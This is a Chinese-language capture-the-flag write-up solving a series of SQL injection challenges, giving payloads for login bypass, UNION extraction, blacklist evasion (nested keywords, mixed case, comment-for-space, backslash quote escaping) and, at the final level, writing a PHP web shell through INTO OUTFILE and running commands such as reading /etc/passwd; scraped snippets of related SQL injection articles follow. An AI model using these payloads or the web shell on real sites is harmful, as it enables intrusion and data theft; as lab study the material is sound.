sql注入习题/ctfs.me sql injection

sql注入习题

来源于ctfs.me的一道习题,实在做不出来,google了wp,发现这道题目是引自于其他习题集了,而且原题目是有源码的。。。于是趁机把他的题目做了一遍

level1

这道题目其实没有源码也是可以做的,不过需要简单思考一下

$query = "SELECT * FROM secrets WHERE session_id = ‘" . $_POST[‘session_id‘] . "‘";

这个语句,我们需要让where 后面的为true,所以我们需要用到or,比较简单的题目

payload:1‘ or 1=1 #

在get your secrets里面输入,就可以得到所有的secrets,第一个就是flag

level2

这道题目在ctfs.me上很坑,我不晓得大佬是怎么做的。

假如不给源码,我首先想到的是万能密码登陆,一顿操作之后,发现注入点在用户名的位置登陆不了,gg

换思路,考虑这个登陆的回显

payload:username:1‘order by 1# &password=dd

回显: username/password is invalid

payload:`username:1‘order by 2# &password=dd‘

回显: invalid sql query

可以知道只有一列,所以我们可以看看回显的位置

payload: username=1‘ union select 1 -- -&password=dd

回显。。。,回显出flag了,但是页面显示的不是真正的,查看源码发现另一个flag,get!



假如给了源码,那就稍微简单一点了

if (isset($_POST[‘username‘]) && isset($_POST[‘password‘])) {

    // $query = "SELECT flag FROM my_secret_table"; We leave commented code in production because we‘re cool.

    $query = "SELECT username FROM users where username = ‘" . $_POST[‘username‘] . "‘ and password = ?";

    // We use prepared statements, it must be secure.

直接构造payload:username=1‘union select flag from my_secret_table

level3 - The Blacklist Saga (Part 1)

$filter = array(‘union‘, ‘select‘);

    // Remove all banned characters
    foreach ($filter as $banned) {
        $_GET[‘q‘] = preg_replace(‘/‘ . $banned . ‘/i‘, ‘‘, $_GET[‘q‘]);
    } 

过滤union 和select 关键字,使用preg_replace替换掉union和select关键字,而且不区分大小写("/i")

以前经常看到这种绕过方式uni/**/on,这次尝试无效。。。

但是因为替换关键词为空字符,所以可以构造这种uniunionon,preg_replace把字符串中间的union替换为空白,其余字符再次组合成为union

payload:1‘uniunionon seleselectct 1,username,password from users #

简单过程:

  1. 使用order by 测列数 1‘order by 3#
  2. 然后利用information_schema库查表名,列名,就可以了

得到flag

Level 4 - The Blacklist Saga (Part 2)

 $filter = array(‘UNION‘, ‘SELECT‘);

    // Remove all banned characters
    foreach ($filter as $banned) {
        if (strpos($_GET[‘q‘], $banned) !== false) die("Hacker detected");
        if (strpos($_GET[‘q‘], strtolower($banned)) !== false) die("Hacker detected");
    } 

比较黑名单的大写形式,小写形式,但是漏了大小写混合,所以可以使用大小混合绕过

payload:1‘uNion Select 1,username,password from users #

Level 5 - The Blacklist Saga (Part 3)

// Ban space character
    if (strpos($_GET[‘q‘], " ") !== false) die("Hacker detected"); 

过滤了空格,空格绕过,使用mysql的注释/**/

payload:1‘union/**/select/**/1,username,password/**/from/**/users/**/#

Level 6 - The Blacklist Saga (Part 4)

// Ban space character
    if (strpos($_GET[‘q‘], "‘") !== false) die("Hacker detected");
    if (strpos($_GET[‘q‘], ‘"‘) !== false) die("Hacker detected");

过滤单引号和双引号,绕不过,但是可以通过原来的sql语句构造

$query = "SELECT * FROM search_engine WHERE title LIKE ‘" . $_GET[‘q‘]. "‘ OR description LIKE ‘" . $_GET[‘q‘] . "‘ OR link LIKE ‘" . $_GET[‘q‘] . "‘;";

payload: and 0 union select 1,username,password from users #\

具体:

select * from search_engine where title like ‘and 0 union select 1,username,password from users #\‘ or description like ‘and 0 union select 1,username,password from users #\‘ or link like ‘and 0 union select 1,username,password from users #\‘;

可以看到一共有6个单引号,但是由于‘\‘的作用,所以第二个,第四个,第六个单引号被转义了,用SQL代理and 0 union select 1,username,password from users #\,结果如下:

select * from search_engine where title like ‘SQL \‘ or description like ‘SQL \‘ or link like ‘SQL\‘

去掉转义的单引号

select * from search_engine where title like ‘SQL or description like ‘SQL or link like ‘SQL

还原SQL,因为title like 后面的参数SQL or description like‘是一个字符串,所以SQL不用还原,而且SQL最后面是一个注释符号,所以上面语句中第二个SQL后面被注释,可以省略select * from search_engine where title like ‘SQL or description likeand 0 union select 1,username,password from users #

再简化一下:

select * from search_engine where title like ‘xxxx‘ and 0 union select 1,username,password from users #

ok

Level 7

先做level 8

Level 8 - The Final Challenge

查看源码,发现有两个隐藏表单

<!--<li><a href="/uploads/">Our files</a></li>-->
<!--<li><a href="/phpinfo.php">Debug</a></li>-->

可以知道允许上传的文件在uploads里面,

查看phpinfoDOCUMENT_ROOT /var/www/html,知道网站地址是这个,所以我们可以是用sql的into outifle 把php一句话,输出到php文件中

payload:1 union select "<?php system($_GET[\"cmd\"]);?> ", "" into outfile "/var/www/html/uploads/temp2.php"#

35.184.20.243:8003/uploads/temp2.php?cmd=ls

查看系统文件,flag在上一级目录里面,使用cat读取就可以了

leve7

使用level8的shell cat /etc/passwd得到flag,或者查看level7的flag.php源文件就可以得到flag

但是我觉得这可能有点问题,可能有其他的做法,还没有想到

原文地址:https://www.cnblogs.com/kele1997/p/8449947.html

时间: 2024-07-29 05:14:35

sql注入习题/ctfs.me sql injection的相关文章

Statement和PreparedStatement的区别; 什么是SQL注入,怎么防止SQL注入? (转)

问题一:Statement和PreparedStatement的区别 先来说说,什么是java中的Statement:Statement是java执行数据库操作的一个重要方法,用于在已经建立数据库连接的基础上,向数据库发送要执行的SQL语句.具体步骤: 1.首先导入java.sql.*:这个包. 2.然后加载驱动,创建连接,得到Connection接口的的实现对象,比如对象名叫做conn. 3.然后再用conn对象去创建Statement的实例,方法是:Statement stmt = conn

Statement和PreparedStatement的区别; 什么是SQL注入,怎么防止SQL注入?

问题一:Statement和PreparedStatement的区别 先来说说,什么是java中的Statement:Statement是java执行数据库操作的一个重要方法,用于在已经建立数据库连接的基础上,向数据库发送要执行的SQL语句.具体步骤: 1.首先导入java.sql.*:这个包. 2.然后加载驱动,创建连接,得到Connection接口的的实现对象,比如对象名叫做conn. 3.然后再用conn对象去创建Statement的实例,方法是:Statement stmt = conn

【sql注入】浅谈sql注入中的Post注入

[sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在感觉到难,现在,就让我们一起来谈谈,post注入是多么的轻松吧!PS:文中有写os-shell00x02测试站点:http://xxx.xxxxx.com/对于我来说,post注入无非有两种方法第一种利用burp抓包然后使用sqlmap -r 来进行检测注入第二种比较简单,直接使用sqlmap --

浅谈Web安全-SQL注入

简单的说一下我对Web安全的了解,主要是代码注入方面. SQL注入 简介: SQL攻击(SQL injection),简称为注入攻击,是发生于应用程序数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵. 简单的说,所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.例如:如果用户在

SQL注入专题--整理帖

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉.        随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获

[Web安全]SQL注入

Web网站最头痛的就是遭受攻击.Web很脆弱,所以基本的安防工作,我们必须要了解! 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 通过一下的例子更形象的了解SQL注入: 有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证.验证的SQL语句如下:       select * from student where userna

【转】SQL注入原理和方法

最近在做的项目是网络安全评估的内容,其中包含渗透测试,而SQL注入往往是渗透测试中最为有效的手段之一,本文中将会就SQL注入的原理和方法进行叙述,使普通读者对SQL注入有所了解. SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些

Web攻防之XSS,CSRF,SQL注入

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法. 关键字:SQL注入,XSS,CSRF 1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQ

SQL注入攻防入门详解(2)

SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文